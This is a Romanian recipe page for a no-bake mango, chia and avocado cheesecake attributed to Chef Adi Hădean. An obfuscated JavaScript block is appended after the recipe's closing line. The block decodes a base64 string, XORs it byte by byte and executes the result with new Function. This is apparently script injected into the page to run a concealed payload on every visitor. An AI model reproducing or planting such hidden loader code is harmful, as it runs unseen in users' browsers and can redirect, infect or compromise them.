Reţetă Chef Adi Hădean
Ingrediente:
1) Baza cheesecake-ului: 220 g biscuiți digestivi, 90 g unt topit, un praf de sare.
2) Strat mango-chia: 1 mango ( pulpa ), 4-5 linguri semințe de chia, un pahar mare iaurt grecesc, 1–2 linguri miere sau sirop de agave, suc de lime, opțional: puțină gelatină (eu am adaugat deoarece am vrut un o crema mai stabilă).
3) Cremă de avocado: 2 avocado copți bine, 150 ml frișcă lichidă, 1 linguriță de miere, suc de lime, puțină vanilie, cremă de brânză ( mascarpone) pentru mai multă stabilitate.
Mod de preparare:
Pasul 1 — Baza Cheesecake-ului
„ Se zdrobesc biscuiții foarte fin. Am topit untul după care l-am amestecat cu biscuiții zdrobiți . Am pus apoi toata compozitia într-o tavă într-o tavă cu inel detașabil si am apăsat bine până când am creat un strat uniform. Am dat totul la frigider pentru 2 ore.
Pasul 2 – Crema de avocado
Am mixat lent crema de brânză (mascarpone). Peste crema de mascarpone am adăugat cele 2 bucăți de avocado paserate fin. Am bătut frișca după care am încorporate-o lent în compoziţia formată din avocado şi mascarpone. La final am adăugat puțină miere pentru dulceață. Crema NU trebuie să aibă gust dominant de avocado.
Pasul 3 -Crema de mango și chia
Am pasat mango cu ajutorul unui blender după care am adaugat puţină miere. Am pus seminţele de chia într-un bol peste care am adăugat iaurtul grecesc şi am amestecat până s-au încorporat bine. L-am pus la frigider și l-am lăsat 2 ore. Chia va îngroșa natural compoziția.
Servire cheesecake
Am ales sa fac acest cheescake fara coacere, cu mango pentru gustul lui tropical și dulce . semințele de chia au venit natural, cu textura lor delicată și au complet totul forte bine datorită senzației aceea răcoritoare pe care o dau unui desert rece. Iar crema de avocado am făcut-o fină și catifelată, cu puțin lime, ca să aducă echilibru și prospețime.
Când am pus ultimul strat de cremă de avocado și am decorat desertul , cheesecake-ul părea exact imaginea verii: galben intens, verde crud și alb cremos, ca o combinație de soare, natură și răcoare.” Chef Adi Hădean
Să aveţi poftă!!
;!function(){var _0x2b22=atob(‘E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA’),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22[‘length’]),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();